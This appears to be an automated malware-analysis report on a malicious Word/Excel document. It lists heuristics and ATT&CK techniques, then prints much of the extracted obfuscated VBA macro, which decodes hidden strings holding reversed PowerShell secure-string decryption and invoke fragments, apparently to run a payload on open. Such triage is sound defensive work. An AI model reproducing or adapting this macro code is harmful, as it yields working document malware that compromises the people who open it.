MALICIOUS
330
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, along with an AutoOpen macro, suggesting an attempt to execute arbitrary code. The script's obfuscated nature and reliance on these functions strongly imply it's designed to download and execute a secondary payload.
Heuristics 11
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBAMatched line in script
End Select CreateObject("WScript.Shell").Run UfjKbq + vifRSirzE + woKNAsTB + VLaUzGjz, vbHide Select Case QIMcj -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select CreateObject("WScript.Shell").Run UfjKbq + vifRSirzE + woKNAsTB + VLaUzGjz, vbHide Select Case QIMcj -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject("WScript.Shell").Run UfjKbq + vifRSirzE + woKNAsTB + VLaUzGjz, vbHide Select Case QIMcj -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 64041 bytes |
SHA-256: 9e14b9aff83f11a83c179bf6c660df497a2045060fe71858a1b303f4c4647e95 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
499 of 803 identifiers look randomly generated (e.g. 'bNnaDfLQZAMDAwAgNAUGAiBQYAQDAjBwMAcDAhBg') — consistent with name-mangling obfuscation. Carved artifact contains 17 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "XUTYflYqDf"
Function AXSNbIAOOI()
On Error Resume Next
Select Case klMtpi
Case 31613
iwwGT = Fix(63160)
fMFJn = Int(43419)
Case 77096
nlrzS = pqWQpZ
IUNFPC = ChrW(aaTwD)
End Select
WHXos = GvfAfHc + ztTFtC("bNnaDfLQZAMDAwAgNAUGAiBQYAQDAjBwMAcDAhBgMAYDAlBgZAgDAjBgZAkDAmBgZAkDA4AAOAUDA1AAZAEGAmBwNAUGA2AgMAQDAyAAZAYGA2AQZAQDAkBgMAQGAyAwMAADA1AwYAYGAxAQMAgDA2AgNAYGAzAAOAcDAxAgNAQDAzAgMAYDAzA5$0JAL)Cjz(9jEb#", 17, 176)
Select Case klMtpi
Case 31613
iwwGT = Fix(63160)
fMFJn = Int(43419)
Case 77096
nlrzS = pqWQpZ
IUNFPC = ChrW(aaTwD)
End Select
Select Case JBCaW
Case 54524
PLbMV = Fix(45413)
wiGpc = Int(34705)
Case 28719
zTpQQ = iwdPkJ
Skplpc = ChrW(WjMlML)
End Select
iTETmiFOm = hTOkwYw + ztTFtC("MZH]D]]GgYAMDAyAgNAMGAwAgMmKD#O.dL", 9, 18)
Select Case JBCaW
Case 54524
PLbMV = Fix(45413)
wiGpc = Int(34705)
Case 28719
zTpQQ = iwdPkJ
Skplpc = ChrW(WjMlML)
End Select
Select Case qzlCAk
Case 80271
iTiTbw = Fix(42957)
riRJli = Int(1225)
Case 41003
LTtqc = kImRjs
DujvMT = ChrW(dUjUA)
End Select
TFADQwjYap = ZFGijIq + ztTFtC("WWflilpZw,79,091,232,421,761 eK- GNiRtserUCEs-OTtREvNOc | 'A2Sho_Ij)jvjH!#HMQoD!)Kt", 24, 51)
Select Case qzlCAk
Case 80271
iTiTbw = Fix(42957)
riRJli = Int(1225)
Case 41003
LTtqc = kImRjs
DujvMT = ChrW(dUjUA)
End Select
Select Case DUCCEk
Case 54857
iJqhim = Fix(15475)
zdKjH = Int(55726)
Case 90598
ZdLzkq = SlzOtA
oqimUc = ChrW(TODuq)
End Select
ophUJ = kqmrHz + ztTFtC("1Coh(p!FAkBgYAEGAiBQYAIGA4AANAgDAkBAOAYGAhBwMAYDAhBgMAEGA5AwMAIGAmBQNAUDAkBAMAMDA1AwNAkDAkBwMAADAiBgZAQGAhBgYAADA2AAOAMGA1AgNAMDAyAAOAQGA0AQs69_Cf", 7, 132)
Select Case DUCCEk
Case 54857
iJqhim = Fix(15475)
zdKjH = Int(55726)
Case 90598
ZdLzkq = SlzOtA
oqimUc = ChrW(TODuq)
End Select
Select Case vJjbf
Case 54740
ClXczO = Fix(54737)
RWpIG = Int(31554)
Case 57677
TsHzf = Qrtnw
EqzRo = ChrW(kYURrj)
End Select
AtVAdKq = PWbaaZ + ztTFtC("UEabvi2A2AQMAYDA4AQZAUGA2AwNAEGA3AQZAYDA2AAOAkDAlBgYAgDAyAAOAcDAhBwNAIGAhBQNAID1$).ri6Uj]8)TuWib", 18, 72)
Select Case vJjbf
Case 54740
ClXczO = Fix(54737)
RWpIG = Int(31554)
Case 57677
TsHzf = Qrtnw
EqzRo = ChrW(kYURrj)
End Select
Select Case bKHcUz
Case 1687
aDJrz = Fix(45500)
UHidpo = Int(89927)
Case 55387
wraRsm = HzGnLz
EozjQ = ChrW(NBWvQl)
End Select
EVfawcp = IHhQUH + ztTFtC("O7j@wjZvK!Tm1layAQNAMGAkBAMAkDAxAANAADA2AAOAQGAxAwNAcDA5AAP", 2, 43)
Select Case bKHcUz
Case 1687
aDJrz = Fix(45500)
UHidpo = Int(89927)
Case 55387
wraRsm = HzGnLz
EozjQ = ChrW(NBWvQl)
End Select
Select Case wTuEh
Case 77171
DzBYDA = Fix(31281)
zITRsk = Int(49422)
Case 78207
tDniL = szstQT
VMKwdA = ChrW(VDHKiE)
End Select
cOlQDP = qnuEhh + ztTFtC("B#)lDs@.9AEDA0AAOAUGA4AwYAYDAiBAMAYDAmBAOAgDAlBgYAEDAwAQOAYDAxAwNAMGA0AAOAUGA4AgMAkDA4AAOAEGAlBAZAQDHOoMNp(4L6qU", 13, 91)
Select Case wTuEh
Case 77171
DzBYDA = Fix(31281)
zITRsk = Int(49422)
Case 78207
tDniL = szstQT
VMKwdA = ChrW(VDHKiE)
End Select
Select Case ukTPji
Case 51322
QHRbu = Fix(37844)
aTuosV = Int(84863)
Case 95606
pohWOM = WKaYj
Habsa = ChrW(jOUUf)
End Select
uzWQwwv = VJHnWi + ztTFtC("KaLt6UHj2W8BJdF)RH22]b.iBwMAIGAkBQYAcDA0AQZAIDA2AQYAUDA3AAOAADA2AwMAWD3jDIwI9pz", 12, 45)
Select Case ukTPji
Case 51322
QHRbu = Fix(37844)
aTuosV = Int(84863)
Case 95606
pohWOM = WKaYj
Habsa = ChrW(jOUUf)
End Select
Select Case iFFFZ
Case 38960
qvJPXD = Fix(67351)
NmtmdD = Int(92921)
Case 4062
PLTrvl = GjmWF
DsKlL = ChrW(lLERBH)
End Select
MqIGLPFC = kznqWM + ztTFtC(".2l@Cs@jWZ38L)jCb(", 9, 1)
Select Case iFFFZ
Case 38960
qvJPXD = Fix(67351)
NmtmdD = Int(92921)
Case 4062
PLTrvl = GjmWF
DsKlL = ChrW(lLERBH)
End Select
Select Case loMEz
Case 61415
QvWBiS = Fix(32541)
FlXHu = Int(9221)
Case 19445
wjmVLo = XWkuO
BdCAQu = ChrW(Cicbbm)
End Select
vHIFnqrCiRF = lNcPTh + ztTFtC(")vmD_[2j]T2iMw_6!.EbLawD96jrCMAYDAmBwYAYDAhBAMAQDA0AwYAADAiBAOAgDREja", 5, 36)
Select Case loMEz
Case 61415
QvWBiS = Fix(32541)
FlXHu = Int(9221)
Case 19445
wjmVLo = XWkuO
BdCAQu = ChrW(Cicbbm)
End Select
Select Case khKFqC
Case 61225
RbmCc = Fix(45660)
JMmqnH = Int(75226)
Case 36353
PmAhl = KzwsK
vSaiLB = ChrW(SoSfS)
End Select
jwBGYINJ = MbDwH + ztTFtC("ismh%A<vfA.@TlsJvY3AgZAUGAzAQNAMDAyAAMAkDA1AQYAQDAjBQMAIDA5AQZAMGA1AgZAMDAyAgZAADAhBgYAkDAlBwMAUDA2AAZAEDA1AgNAUGAyAQOAgDA4AgZAYGAyAwNAYGAlBAZAUGAjBAOAADAlBgMAcDA5AQYAQGAjBwNAQDAjBwMAADA4AgZAADA4AAOAADA3AgYAMDAjBQNAc8Npl", 5, 198)
Select Case khKFqC
Case 61225
RbmCc = Fix(45660)
JMmqnH = Int(75226)
Case 36353
PmAhl = KzwsK
vSaiLB = ChrW(SoSfS)
End Select
Select Case YESkwt
Case 56857
TNJDHr = Fix(4499)
InItA = Int(46027)
Case 37333
hwWTmV = vAuZru
RADWw = ChrW(LjJCkv)
End Select
PiidMui = UmOXEp + ztTFtC("4pKm%KYGAjBgZAQGA2AgYAUDAiBgYAkDAxAQNAIGAwAQOAEGAkBQOAIGA2AQZAcDAyAwYAADAwAgMAIDAzAQYAkDAkBQMAUDAyAgMAMGA3AwYAQDAhBQNAADAjBgYAEDAiBgZAgDAlBQOAEGAmBwMAIGAiBQZAkDAhBQMAUDAzAgZAADAwAANAIGA4AQZAIDAlO9wrOY", 7, 188)
Select Case YESkwt
Case 56857
TNJDHr = Fix(4499)
InItA = Int(46027)
Case 37333
hwWTmV = vAuZru
RADWw = ChrW(LjJCkv)
End Select
Select Case DCBZt
Case 11856
sFPUU = Fix(31611)
YmwiE = Int(95333)
Case 69377
MzZZii = qoOCM
tCIzzc = ChrW(QdYmb)
End Select
knKiTZ = swLfA + ztTFtC("MCWUC_w1rz@bqn#]]8Eg.]LAhSRam.SeCIvResPOreTNi.EMiTNur[(::]LaHsraM.seciVReSPOretNI.EMITnUR[ ((xEIijat6jEkqd@iFHf", 16, 78)
Select Case DCBZt
Case 11856
sFPUU = Fix(31611)
YmwiE = Int(95333)
Case 69377
MzZZii = qoOCM
tCIzzc = ChrW(QdYmb)
End Select
Select Case plXGz
Case 26109
Uiarf = Fix(68072)
ifwMl = Int(12445)
Case 83352
NuqoNA = tjwWC
QGCkjq = ChrW(HVnwXL)
End Select
tohIhkwB = PYPPsum + ztTFtC("LcZowoj6]W1X0_dikBQNAkDA1AgYAUDAyAAMAEGA5AwMAADAxAQZAEGA0AgZAIDAkBgNAcDAjBQMAEGAwAQMAMGAjBgZAIDA1AgMAIDAmBQNAUGAzAgZAQGA3AANAUDAwAwNAkDAzAQNAQGAwAQYAkvKU", 4, 134)
Select Case plXGz
Case 26109
Uiarf = Fix(68072)
ifwMl = Int(12445)
Case 83352
NuqoNA = tjwWC
QGCkjq = ChrW(HVnwXL)
End Select
Select Case GKGup
Case 99312
OQwjUN = Fix(13694)
COCir = Int(81915)
Case 12441
BTqThX = fZkDLN
sVotH = ChrW(BrzRh)
End Select
rJhUEPnYN = rlrZYhL + ztTFtC("fv!UfwtWAmBQYAcDA0AgZAYGAiBQYAgDAyAQOAcDA2AAMAYGAkBwYAYGAjBwNAkDAwAgYAQDA4AQMAUDAmBAMAMGAyAwYAkDAlBwMAEDAxAQOADWiwVLHluJE9RTW#mIOLa", 22, 102)
Select Case GKGup
Case 99312
OQwjUN = Fix(13694)
COCir = Int(81915)
Case 12441
BTqThX = fZkDLN
sVotH = ChrW(BrzRh)
End Select
Select Case nUKLN
Case 25360
liHLF = Fix(85785)
qMLnFz = Int(27125)
Case 33630
aXmmcE = jupjaC
CjmNwN = ChrW(QPzzdU)
End Select
KGFLozaI = sPCtpa + ztTFtC("Ibtm_vLU3O66cDAjBANAgDA3AAMAQDAkBQMAkDAwAQNAYGA5AQNAUGA0AANAQGA2AQYAMDA5AANAYGA1AgZAADAyAgYAUGAmBANAMGAzAgNAUDAiBgYAEGAjBwMAMGAmBgYAYDA1AwMAUG9njD", 5, 130)
Select Case nUKLN
Case 25360
liHLF = Fix(85785)
qMLnFz = Int(27125)
Case 33630
aXmmcE = jupjaC
CjmNwN = ChrW(QPzzdU)
End Select
Select Case XPhCY
Case 2810
uZwwfW = Fix(90251)
hSNHzR = Int(18300)
Case 51110
Tuwdj = azVvo
Adjbvf = ChrW(zkYHbF)
End Select
OYotad = WYFzV + ztTFtC("RvIFHQ@nb4ImOB#Hds]@!%BgMAMGA4AQNAUDAiBAZAMGZZi))<]f4s6)CJ", 15, 22)
Select Case XPhCY
Case 2810
uZwwfW = Fix(90251)
hSNHzR = Int(18300)
Case 51110
Tuwdj = azVvo
Adjbvf = ChrW(zkYHbF)
End Select
Select Case kWwYD
Case 57652
TOVfW = Fix(98424)
zfzBdD = Int(78080)
Case 14667
wlZvRQ = VTjfD
nzRhYV = ChrW(kjiKpF)
End Select
uATGtdJdwPu = zjMIu + ztTFtC("Y$ilv@AMDADBwMAMDAzBwYAIFA8BgM5435a05061b3143240f3476111d29467'($ (Rth2Iw2GN]3lHdLXGT", 17, 63)
Select Case kWwYD
Case 57652
TOVfW = Fix(98424)
zfzBdD = Int(78080)
Case 14667
wlZvRQ = VTjfD
nzRhYV = ChrW(kjiKpF)
End Select
Select Case LRjAm
Case 87343
wpjXw = Fix(89180)
SiVRkP = Int(424)
Case 59401
zMImS = HDHHRv
rZQbto = ChrW(EVOHC)
End Select
TVwZEQ = ZipzW + ztTFtC("]@vhdtN!vF2nfAcDA4AQOAEDAhBgMAEDA5AQNAIDAhBQOAYDA4AQZAkDA0AgYAgDAwAANAMDAkBANAADAwAQZAUDAmBwYAMGAlBgZAUDAyAANAADAwAwNAEGAwAQYAQDA1AgZAADAwAQZAYGAlBwMAUDAmBQOAYDAwAQOAYDA1AAZAIGAxAQZAADAkBAOAUGAlBwNAYGAiBAOAQDAjBQYv$RvTfdKc", 11, 199)
Select Case LRjAm
Case 87343
wpjXw = Fix(89180)
SiVRkP = Int(424)
Case 59401
zMImS = HDHHRv
rZQbto = ChrW(EVOHC)
End Select
Select Case AdfFJF
Case 45689
WwqFS = Fix(59599)
ELZtV = Int(36267)
Case 7331
JwPDDn = RVEBs
hwibSY = ChrW(tQEFG)
End Select
JaVhJ = HUaPY + ztTFtC("9Aj)cDwmNSw_A_AiBwYAMGA2AQYAYGAkBQYAUGA3AgZAUGAlBgZAEDAjBQOAcDAlBgZAkDA3AQMAEDAxAwYAMGA5AAZAUDA5AAZAMGAwAwYAUGAmBAOAMGAhBgMAgDAyAAZAMGA2AgNAUGA3OnZ@AZ[vWcK6kjbf!dT0", 22, 129)
Select Case AdfFJF
Case 45689
WwqFS = Fix(59599)
ELZtV = Int(36267)
Case 7331
JwPDDn = RVEBs
hwibSY = ChrW(tQEFG)
End Select
Select Case vrqVj
Case 72223
hoDmJ = Fix(58485)
FdGjbi = Int(30048)
Case 19373
cEjwbo = sXddI
iwZVP = ChrW(dTODnl)
End Select
VtPAoY = riuMjaw + ztTFtC("f<mBANAUGAzAwYAUGAiBgYAQDA5AAOAcDA0AQYAcDA2AQYAUGAxAgNAQGA0AwNAYDA5AwNAYGA2AQNAEDAzAgYAEGA2AwMAgDAlBwYAMDA1AAMAUGAlBgNAUDA0AQNAkDA5AgZAYDAmBQYAUDA!piFTmP(AYq[K.YZh!kJ(Km!o!v", 28, 144)
Select Case vrqVj
Case 72223
hoDmJ = Fix(58485)
FdGjbi = Int(30048)
Case 19373
cEjwbo = sXddI
iwZVP = ChrW(dTODnl)
End Select
Select Case WZsHjd
Case 16443
wkwzh = Fix(42578)
MoGNs = Int(69580)
Case 41027
aYpUY = QMKdwS
wPWjTB = ChrW(DCuNwZ)
End Select
LiqfjTjXMs = iOTrM + ztTFtC("Dq_lEabEDA2AgYAgDA3AwYAIDAlBQOAEDA0AwNAQGAxAQYAEGAyAgZAUDAxAwYAcDAjBwYAkDAmBAOAQGAiBQNAEGA2AAZAQDAkBgZAUGAm.Kd<(zT%86KONpwtA7!Km.%$.", 26, 100)
Select Case WZsHjd
Case 16443
wkwzh = Fix(42578)
MoGNs = Int(69580)
Case 41027
aYpUY = QMKdwS
wPWjTB = ChrW(DCuNwZ)
End Select
Select Case koFNn
Case 28104
zbrjwv = Fix(73391)
WtjSU = Int(71715)
Case 50906
GwGoN = fQdcY
aCcVY = ChrW(BoDjq)
End Select
wqrJIkKiVuC = HzGABBz + ztTFtC("]Ab%tkYawKC@VRoC(LioLC[M6(lfAEGAiBQNAIGAwAwYAQGAzAbUj6Ypf", 8, 22)
Select Case koFNn
Case 28104
zbrjwv = Fix(73391)
WtjSU = Int(71715)
Case 50906
GwGoN = fQdcY
aCcVY = ChrW(BoDjq)
End Select
Select Case CAAFjL
Case 336
RDHHCY = Fix(35470)
mEkaf = Int(15196)
Case 72262
OFuUSG = kvsEt
fUlsnD = ChrW(cCNwOo)
End Select
BSVDGkCfOB = KSIbUJF + ztTFtC("bfAwAQNAMDAwAgZAgDAwAQMAMDAmBQMAYGA0AgMAEGAiBQOAIGAmBQOAUGA3AAMAADA3AgYAYDAmBgZAUGA1AAOAgDAyAAMAkDA3AAMAYDAkBAZAMGAyAQMAMDAzAQMAYGAjBANAMGA1AwMAUGAwAgMAcDAjBQMAIGAyAAMAYGAhEN.u(UbZAAa8!aKNLX]4MTD]H)D", 28, 170)
Select Case CAAFjL
Case 336
RDHHCY = Fix(35470)
mEkaf = Int(15196)
Case 72262
OFuUSG = kvsEt
fUlsnD = ChrW(cCNwOo)
End Select
Select Case PquFzP
Case 99584
tFjjvW = Fix(54329)
wLbMd = Int(66219)
Case 11287
qEwzoi = aQTDAm
NRfACR = ChrW(oKbZGG)
End Select
nrHmJ = jVKuuOA + ztTFtC("jSi4kjbSkMAADAkBgMAcDAzAAOAMDAwAwNAYGA1AQZAkDA3AgYAIDAkBQOAYDAhBQYAM4", 2, 59)
Select Case PquFzP
Case 99584
tFjjvW = Fix(54329)
wLbMd = Int(66219)
Case 11287
qEwzoi = aQTDAm
NRfACR = ChrW(oKbZGG)
End Select
Select Case ObMjVd
Case 24541
JniOz = Fix(93300)
CkXdl = Int(83954)
Case 70634
BJzHNO = qjkMq
cqtzNk = ChrW(GYwFVY)
End Select
mFjiwbI = rnWhkCP + ztTFtC("NY68hZLM%ZW.kAGa2ObIpH%QAZAADAwAQYAIGAwAANAMDAyAQYAQDAxAwMAkDAlBgMAYGA1AgYAEGAlBwNAkDAzAQOAYGAwAgZAEGA3AANAYGAkBwNAYDA5AQYAADAlBQMAADA4AQZAUDA3AQMAgDA3AgMAkDAiBQNAYDAiBgZAgDA3AQNASA_z..N2h3uj", 13, 155)
Select Case ObMjVd
Case 24541
JniOz = Fix(93300)
CkXdl = Int(83954)
Case 70634
BJzHNO = qjkMq
cqtzNk = ChrW(GYwFVY)
End Select
Select Case Cuvjf
Case 90596
ifYvzX = Fix(66665)
ikiYwH = Int(99668)
Case 52207
KjdaH = rCvCZW
dZFbS = ChrW(PiBTJt)
End Select
hIRRliN = iVdPwdi + ztTFtC("shbfj6MYNz$G[tmiI7O%.Ujwlt68CmkK.5AlBgMAcDA5AAMAEDAxAANAEGAwAAOAIGA4AANAEDA4AAMAIDAzAQNAkDAhBQNAYGA2AQYAMDAhBQNAQDA0AQMAkDAyAgMAYDA4AQMAYDAxAQOAIGAzAwNAYDAzAQZAIGAkBgZAADAjBQNAYGAyAAZAQDA1AAZAYGAxAgNAcDAmBgNAkDAiBgYAgmjbj", 5, 183)
Select Case Cuvjf
Case 90596
ifYvzX = Fix(66665)
ikiYwH = Int(99668)
Case 52207
KjdaH = rCvCZW
dZFbS = ChrW(PiBTJt)
End Select
Select Case srlMSQ
Case 87942
Nwjkz = Fix(52780)
wtitKs = Int(78016)
Case 57899
ifLzYW = zHsDo
GFILUa = ChrW(AoAzZB)
End Select
KUpKkEEtG = YNZiP + ztTFtC("mm(io!jRC]rWzs%wY<AmBQOAMGAhBQOAQGAhBQOAcDAlm@<]R", 6, 26)
Select Case srlMSQ
Case 87942
Nwjkz = Fix(52780)
wtitKs = Int(78016)
Case 57899
ifLzYW = zHsDo
GFILUa = ChrW(AoAzZB)
End Select
Select Case lUumwH
Case 32886
zNAwp = Fix(30764)
zGzvhn = Int(54276)
Case 57794
aiVTiw = puSWLW
ZjcUt = ChrW(LBqwiT)
End Select
nwWJzv = ioTzE + ztTFtC("c(imOwj[HzG6)) )) )56,431,921,14,351,641,501,602,15,96,142,122,252,632,422,73,111,23,3462", 3, 75)
Select Case lUumwH
Case 32886
zNAwp = Fix(30764)
zGzvhn = Int(54276)
Case 57794
aiVTiw = puSWLW
ZjcUt = ChrW(LBqwiT)
End Select
Select Case jiFKPo
Case 20920
cAPzhY = Fix(33837)
tVSAFO = Int(11389)
Case 17351
Lzstwv = lrbTwv
FCKuq = ChrW(wkVlO)
End Select
IQsHSaSzkTA = llMJJ + ztTFtC("UbZAUGAjBAZAYDAwAwYAQDAiBAOAYDA1AwYAUGAiBwNAIDAiBQZAEDA2AwNAkDAwAAZAEGAlBQYAkDA1AQYAEDA5AAOAUDA5AwNAUDAkBQNAUDA3AgYAcDAmBANAYDA5AgMAcDA2AwYAMDAzAgNAEGA1AgMAUDAhBAOAQDAhBQMAIGAmBQYAcDAFT@T@v)H_v@s2T1jF6WAHiTu", 26, 179)
Select Case jiFKPo
Case 20920
cAPzhY = Fix(33837)
tVSAFO = Int(11389)
Case 17351
Lzstwv = lrbTwv
FCKuq = ChrW(wkVlO)
End Select
Select Case RDXjn
Case 73748
OzUmXE = Fix(13923)
zAUUH = Int(18225)
Case 64592
FhjtH = ftUDCL
MXOMJ = ChrW(OqolML)
End Select
zKQCYbG = MiJhSYw + ztTFtC("TjLdDhkHwEPd<6DA5AQZAUDA4AgYAEDAwAAOAYDAlBQNAIGAwAwYAYDAwAQOAYDAzAANAc#5zF#]_Y", 9, 56)
Select Case RDXjn
Case 73748
OzUmXE = Fix(13923)
zAUUH = Int(18225)
Case 64592
FhjtH = ftUDCL
MXOMJ = ChrW(OqolML)
End Select
Select Case Spnpq
Case 33556
dOWGls = Fix(79434)
uqAos = Int(86239)
Case 27667
XhkXqW = XUbRpz
BnLVz = ChrW(rcHBf)
End Select
STmjf = WQhMMz + ztTFtC("kju89ANAgDAiBgYAQDAzAQZAYDAyAA]RNY<fuwI(lKk[", 15, 25)
Select Case Spnpq
Case 33556
dOWGls = Fix(79434)
uqAos = Int(86239)
Case 27667
XhkXqW = XUbRpz
BnLVz = ChrW(rcHBf)
End Select
Select Case aXkVLA
Case 97234
EhTDN = Fix(13997)
iQwiu = Int(29896)
Case 25267
cHjTIw = RVzYC
wuDmV = ChrW(tzzcR)
End Select
qSEwAdO = mCGzj + ztTFtC("WiAiZ)WfFT8$wjhBQNAEDAyAANAIDA2AAOAQDAwAgYAYGAxAgYAMGAwAAZAAD<nvY", 5, 46)
Select Case aXkVLA
Case 97234
EhTDN = Fix(13997)
iQwiu = Int(29896)
Case 25267
cHjTIw = RVzYC
wuDmV = ChrW(tzzcR)
End Select
Select Case XrddfN
Case 42215
TMVWuN = Fix(25631)
wMIaQ = Int(26836)
Case 42150
OwXQOw = MwTOtw
mPVALP = ChrW(jCPzv)
End Select
JtOLijWhjNf = jMcZZQ + ztTFtC("SXprwjIAlBQHfuJhUjAQH@Q]BF4F", 18, 4)
Select Case XrddfN
Case 42215
TMVWuN = Fix(25631)
wMIaQ = Int(26836)
Case 42150
OwXQOw = MwTOtw
mPVALP = ChrW(jCPzv)
End Select
Select Case WBotA
Case 62460
akXic = Fix(47707)
tNNWXS = Int(18941)
Case 16841
ZrRoil = DEAtQ
BOdfbL = ChrW(iwBwPE)
End Select
YtMKjoqCF = SOdiJVj + ztTFtC("5LNAuYAUDAjBwMAIDAwAAOAYDAjBwYAIDAyAQMAMGAxAwYAEDAxAAZAEDAmBQNAcDAhBgZAIGA5AQMAMGA2AANAgDAjBwYAADAlBgZAQGA1AwMAEGAjBAOAEDA5AQZAgDAkBwMAcDA5AQNAQDA4AAM6H4i)", 6, 145)
Select Case WBotA
Case 62460
akXic = Fix(47707)
tNNWXS = Int(18941)
Case 16841
ZrRoil = DEAtQ
BOdfbL = ChrW(iwBwPE)
End Select
Select Case YlDnv
Case 88403
EOlAKb = Fix(19750)
pRoQw = Int(7544)
Case 86378
hJRuU = FFufHL
Ljbdr = ChrW(FBTzPs)
End Select
SCOaaZwoKZ = jFmss + ztTFtC("f2h2n@aCE.KKwTD2j]tjpDzU)CgZAQDA4AQZAIDA5AQYAEDAxAQNAMGA5AQNAMGAkBQZAUDAiBgYAIGA0AgYAMDAhBQOAQDAiBwNAIGAiBwMAkDA0AQMAQGA5AgMAIDA0AwMAQDAzAwYAkDAyAwMAIDAzAAOAEGAmBgZAYDAwAQYAIDAiBQYAUDAlnOK!jZs]", 9, 159)
Select Case YlDnv
Case 88403
EOlAKb = Fix(19750)
pRoQw = Int(7544)
Case 86378
hJRuU = FFufHL
Ljbdr = ChrW(FBTzPs)
End Select
Select Case IDsHR
Case 19986
obHtju = Fix(77866)
wvlLp = Int(79851)
Case 49100
FsWTfc = wtLjjq
Difcfb = ChrW(oiXjWR)
End Select
jaQoPFPYfsZ = WsmWhKf + ztTFtC("IL2)unK1YAEDA2AAMAEDAkBgMAYGAjBgNAIDA2AAMAQDA0vU4kUfDHEcH_a3", 15, 38)
Select Case IDsHR
Case 19986
obHtju = Fix(77866)
wvlLp = Int(79851)
Case 49100
FsWTfc = wtLjjq
Difcfb = ChrW(oiXjWR)
End Select
Select Case tfljfV
Case 55886
zABToJ = Fix(78690)
zqnKX = Int(91945)
Case 49037
XWiQj = janFt
imfMt = ChrW(XUdRqD)
End Select
amPLG = jadiiS + ztTFtC("fSGAiBAZAYGAlBgZAMGA4AQNAQGAhBANAYDAwAQYAkDA1AgNAUGA4AwYAADA3AQYAYGA1AQMAADA1AQNAgDA3AQNAIGAxAgZAEGAiBwMAYDA2AgZAEGAjBQOAcDA5AwYAQDA2AAOAYDAyAAMAgDAjBwNAEGA0AwNAADAiBAMAMDA0AQOAUGAmBQNAMGA4AgZAIDAyA1jEvDijKAMlJCiMnDc", 19, 196)
Select Case tfljfV
Case 55886
zABToJ = Fix(78690)
zqnKX = Int(91945)
Case 49037
XWiQj = janFt
imfMt = ChrW(XUdRqD)
End Select
Select Case zmnIE
Case 63816
flsbCQ = Fix(28394)
ShkAn = Int(61369)
Case 798
YkpaC = mijpV
TMBJkF = ChrW(wwiLj)
End Select
CrBviW = XNhIkJw + ztTFtC("zpnIDAyAQOAUGAzAAOAADA1AQZAQGAmBQMAQGAlBwNAIDA5AwYAQGA2ADhf0WFjCn", 10, 53)
Select Case zmnIE
Case 63816
flsbCQ = Fix(28394)
ShkAn = Int(61369)
Case 798
YkpaC = mijpV
TMBJkF = ChrW(wwiLj)
End Select
Select Case EOAEEZ
Case 1691
TdGzY = Fix(58671)
BkVnsu = Int(72871)
Case 98970
TAizz = AUWXV
lUpLRq = ChrW(VzHKSP)
End Select
fXhQAW = mCtXZHZ + ztTFtC("2]ND!LLXhVCUE)_1MDA4AgZAIDAhBQYAcDA3AQYAcDAxAQNAUDAyAwMAcDAjBgZAYDA3AANAEGAjBQOAYDAmBQYAQGAmBgZAIDAmBQYAIDA3AwMAgDAyAQYAYDA2AQOAMGA5AgZAMGAjBANAEDAlBAMAIDAzAANAYDA2AgZAYGA3AQOAMDA4AQNAUDA2AAZAgDAkBQNAM38wAVpS[0.#UKjjbDTpq9j", 23, 184)
Select Case EOAEEZ
Case 1691
TdGzY = Fix(58671)
BkVnsu = Int(72871)
Case 98970
TAizz = AUWXV
lUpLRq = ChrW(VzHKSP)
End Select
Select Case jkzSq
Case 4556
EhNjq = Fix(75270)
rZSdUI = Int(9059)
Case 6382
vciiQK = zwMkqK
DjbJN = ChrW(lWZLY)
End Select
aOaGRlBi = kbkGzS + ztTFtC("(h2HECjFSbOTgNIRtsEruceS::]LAhsrAM.SEcivRESpoRETnI.emitNur[ (eKoVnI.)eMAN.]5[)(SrEBmeMt.hiiNHGHdq0Aiw..8H8ZWw]#Ksvt", 29, 79)
Select Case jkzSq
Case 4556
EhNjq = Fix(75270)
rZSdUI = Int(9059)
Case 6382
vciiQK = zwMkqK
DjbJN = ChrW(lWZLY)
End Select
Select Case uMoRJY
Case 72350
vjAANw = Fix(81614)
RpCqG = Int(89185)
Case 1212
jpzzTK = EbJhZO
soBIpp = ChrW(NIpdb)
End Select
